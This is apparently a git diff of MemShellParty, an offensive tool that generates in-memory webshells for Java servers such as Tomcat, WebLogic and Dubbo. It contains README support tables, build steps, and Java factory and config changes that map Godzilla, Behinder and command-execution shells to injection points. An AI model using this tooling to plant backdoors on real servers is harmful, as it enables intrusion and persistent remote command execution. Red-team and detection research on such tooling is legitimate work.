||||||
### Middleware and Frameworks
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| ProxyValve | | | |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 8) | InforSuite AS (9 ~ 10) |
|
|
||||||
|----------------------|----------------------|------------------------|
|
|
||||||
| Filter | Filter | Filter |
|
|
||||||
| Listener | Listener | Listener |
|
|
||||||
| Valve | Valve | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
|
|
||||||
| Apusic AS (9 ~ 10) | Primeton(6.5) |
|
|
||||||
|---------------------|----------------------|
|
|
||||||
| Servlet | Filter |
|
|
||||||
| Filter | Listener |
|
|
||||||
| Listener | Valve |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| | ContextValve - Agent |
|
|
||||||
|
|
||||||
### MemShell Functionality
|
|
||||||
|
|
||||||
- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
|
|
||||||
- [x] [Behinder](https://github.com/rebeyond/Behinder)
|
|
||||||
- [x] Command Execution
|
|
||||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
|
||||||
- [x] [AntSword](https://github.com/AntSwordProject/antSword)
|
|
||||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
|
||||||
- [x] Custom
|
|
||||||
|
|
||||||
### Packaging Methods
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] Built-in ScriptEngine, Rhino ScriptEngine
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] Native Deserialization(CB and CC)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC Connection
|
|
||||||
- [ ] Other common deserialization
|
|
||||||
|
|
||||||
## Local Build
|
|
||||||
|
|
||||||
### Building from Source Code
|
|
||||||
|
|
||||||
> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
|
|
||||||
|
|
||||||
First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
|
|
||||||
|
|
||||||
1. Clone the project using Git:
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
3. Build the backend project. Ensure you are using a JDK 17 environment.
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
Alternatively, you can build a Docker container from the built artifacts:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Building with Dockerfile Directly
|
|
||||||
|
|
||||||
> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
|
|
||||||
|
|
||||||
Download the [Dockerfile](../Dockerfile) from the project root.
|
|
||||||
|
|
||||||
- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
|
|
||||||
- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
|
|
||||||
- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# Basic build (defaults to root path "/")
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.7.0 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# Run the basic image, access at http://127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# Build with custom access path (e.g., /memshell-party)
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.7.0 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
If you need to use NGINX as a reverse proxy, first build the container with a custom access path. Then configure NGINX similar to the following:
|
|
||||||
|
|
||||||
Ensure that the `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` and
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` all use the same path.
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> Any feedback or issue discussion you provide is a contribution to this project.
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. If you have strong Docker environment building skills, consider adding integration test cases related to specific CVEs.
|
|
||||||
2. If you are skilled in writing memory shells, try adding support for a new type or target.
|
|
||||||
3. If you have extensive practical experience, feel free to open issues with suggestions or improvements.
|
|
||||||
|
|
||||||
For project structure, build processes, and compilation details, please refer to [CONTRIBUTING.md](../CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
@@ -37,7 +37,10 @@ dependencies {
|
|||||||
implementation(libs.jakarta.servlet.api)
|
implementation(libs.jakarta.servlet.api)
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
|
implementation(libs.tomcat.embed.core)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
implementation(libs.alibaba.dubbo)
|
||||||
|
implementation(libs.apache.dubbo)
|
||||||
implementation(libs.jackson.annotations)
|
implementation(libs.jackson.annotations)
|
||||||
implementation(libs.bundles.jna)
|
implementation(libs.bundles.jna)
|
||||||
|
|
||||||
|
|||||||
@@ -7,9 +7,11 @@ package com.reajason.javaweb;
|
|||||||
public class Server {
|
public class Server {
|
||||||
public static final String Tomcat = "Tomcat";
|
public static final String Tomcat = "Tomcat";
|
||||||
public static final String Jetty = "Jetty";
|
public static final String Jetty = "Jetty";
|
||||||
|
public static final String Jetty5 = "Jetty5";
|
||||||
public static final String Undertow = "Undertow";
|
public static final String Undertow = "Undertow";
|
||||||
public static final String JBoss = "JBoss";
|
public static final String JBoss = "JBoss";
|
||||||
public static final String Resin = "Resin";
|
public static final String Resin = "Resin";
|
||||||
|
public static final String Resin2 = "Resin2";
|
||||||
public static final String WebLogic = "WebLogic";
|
public static final String WebLogic = "WebLogic";
|
||||||
public static final String WebSphere = "WebSphere";
|
public static final String WebSphere = "WebSphere";
|
||||||
public static final String GlassFish = "GlassFish";
|
public static final String GlassFish = "GlassFish";
|
||||||
@@ -20,5 +22,6 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struct2 = "Struct2";
|
public static final String Struts2 = "Struts2";
|
||||||
|
public static final String Dubbo = "Dubbo";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
|
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
import org.apache.commons.codec.binary.Base64;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.apache.commons.lang3.Strings;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -60,20 +63,36 @@ public class MemShellGenerator {
|
|||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||||
|
String interfaceName = packageName + ".I" + simpleName;
|
||||||
|
injectorConfig.setInjectorHelperClassName(interfaceName);
|
||||||
|
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
||||||
|
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
||||||
|
String urlPattern = injectorConfig.getUrlPattern();
|
||||||
|
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
||||||
|
|| StringUtils.isBlank(urlPattern)) {
|
||||||
|
injectorConfig.setUrlPattern(interfaceName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
||||||
|
injectorConfig.setInjectorHelperClassName(helperClassName);
|
||||||
|
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
.shellClassName(injectorConfig.getInjectorClassName() + "1")
|
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
.probeContent(ProbeContent.Bytecode)
|
.probeContent(ProbeContent.Bytecode)
|
||||||
.targetJreVersion(shellConfig.getTargetJreVersion())
|
.targetJreVersion(shellConfig.getTargetJreVersion())
|
||||||
|
|||||||
@@ -33,9 +33,11 @@ public class ServerFactory {
|
|||||||
static {
|
static {
|
||||||
register(Server.Tomcat, Tomcat::new);
|
register(Server.Tomcat, Tomcat::new);
|
||||||
register(Server.Jetty, Jetty::new);
|
register(Server.Jetty, Jetty::new);
|
||||||
|
register(Server.Jetty5, Jetty5::new);
|
||||||
register(Server.Undertow, Undertow::new);
|
register(Server.Undertow, Undertow::new);
|
||||||
register(Server.JBoss, Jboss::new);
|
register(Server.JBoss, Jboss::new);
|
||||||
register(Server.Resin, Resin::new);
|
register(Server.Resin, Resin::new);
|
||||||
|
register(Server.Resin2, Resin2::new);
|
||||||
register(Server.WebLogic, WebLogic::new);
|
register(Server.WebLogic, WebLogic::new);
|
||||||
register(Server.WebSphere, WebSphere::new);
|
register(Server.WebSphere, WebSphere::new);
|
||||||
register(Server.GlassFish, GlassFish::new);
|
register(Server.GlassFish, GlassFish::new);
|
||||||
@@ -46,7 +48,8 @@ public class ServerFactory {
|
|||||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||||
register(Server.XXLJOB, XxlJob::new);
|
register(Server.XXLJOB, XxlJob::new);
|
||||||
register(Server.Struct2, Struct2::new);
|
register(Server.Struts2, Struts2::new);
|
||||||
|
register(Server.Dubbo, Dubbo::new);
|
||||||
|
|
||||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||||
@@ -81,7 +84,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
.addShellClass(ACTION, GodzillaStruts2Action.class)
|
||||||
|
.addShellClass(ALIBABA_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||||
|
.addShellClass(APACHE_DUBBO_SERVICE, GodzillaDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -106,7 +111,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
.addShellClass(ACTION, BehinderStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -124,7 +129,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
.addShellClass(ACTION, AntSwordStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -161,7 +166,9 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
.addShellClass(ACTION, CommandStruts2Action.class)
|
||||||
|
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
|
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -187,7 +194,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
.addShellClass(ACTION, Suo5Struts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||||
@@ -212,7 +219,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
.addShellClass(ACTION, Suo5v2Struts2Action.class)
|
||||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
@@ -238,7 +245,7 @@ public class ServerFactory {
|
|||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruts2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||||
|
|||||||
@@ -7,12 +7,14 @@ package com.reajason.javaweb.memshell;
|
|||||||
public class ServerType {
|
public class ServerType {
|
||||||
public static final String TOMCAT = "Tomcat";
|
public static final String TOMCAT = "Tomcat";
|
||||||
public static final String JETTY = "Jetty";
|
public static final String JETTY = "Jetty";
|
||||||
|
public static final String JETTY5 = "Jetty5";
|
||||||
public static final String JBOSS_AS = "JBossAS";
|
public static final String JBOSS_AS = "JBossAS";
|
||||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||||
public static final String UNDERTOW = "Undertow";
|
public static final String UNDERTOW = "Undertow";
|
||||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||||
public static final String WILDFLY = "Wildfly";
|
public static final String WILDFLY = "Wildfly";
|
||||||
public static final String RESIN = "Resin";
|
public static final String RESIN = "Resin";
|
||||||
|
public static final String RESIN2 = "Resin2";
|
||||||
public static final String GLASSFISH = "Glassfish";
|
public static final String GLASSFISH = "Glassfish";
|
||||||
public static final String PAYARA = "Payara";
|
public static final String PAYARA = "Payara";
|
||||||
public static final String WEBLOGIC = "WebLogic";
|
public static final String WEBLOGIC = "WebLogic";
|
||||||
|
|||||||
@@ -50,4 +50,8 @@ public class ShellType {
|
|||||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
public static final String ACTION = "Action";
|
||||||
|
|
||||||
|
public static final String DUBBO_SERVICE = "DubboService";
|
||||||
|
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||||
|
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public enum Encryptor {
|
public enum Encryptor {
|
||||||
RAW, DOUBLE_BASE64;
|
RAW, BASE64, DOUBLE_BASE64;
|
||||||
|
|
||||||
public static Encryptor fromString(String encryptor) {
|
public static Encryptor fromString(String encryptor) {
|
||||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
return DOUBLE_BASE64;
|
return DOUBLE_BASE64;
|
||||||
}
|
}
|
||||||
|
if (encryptor != null && encryptor.equals("BASE64")) {
|
||||||
|
return BASE64;
|
||||||
|
}
|
||||||
return RAW;
|
return RAW;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,6 +27,12 @@ public class InjectorConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 辅助类类名
|
||||||
|
*/
|
||||||
|
private String injectorHelperClassName;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
|
|||||||
+5
-1
@@ -23,6 +23,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
|
protected int getTargetJreVersion() {
|
||||||
|
return shellConfig.getTargetJreVersion();
|
||||||
|
}
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
protected byte[] postProcessBytes(byte[] classBytes) {
|
||||||
return classBytes;
|
return classBytes;
|
||||||
}
|
}
|
||||||
@@ -43,7 +47,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
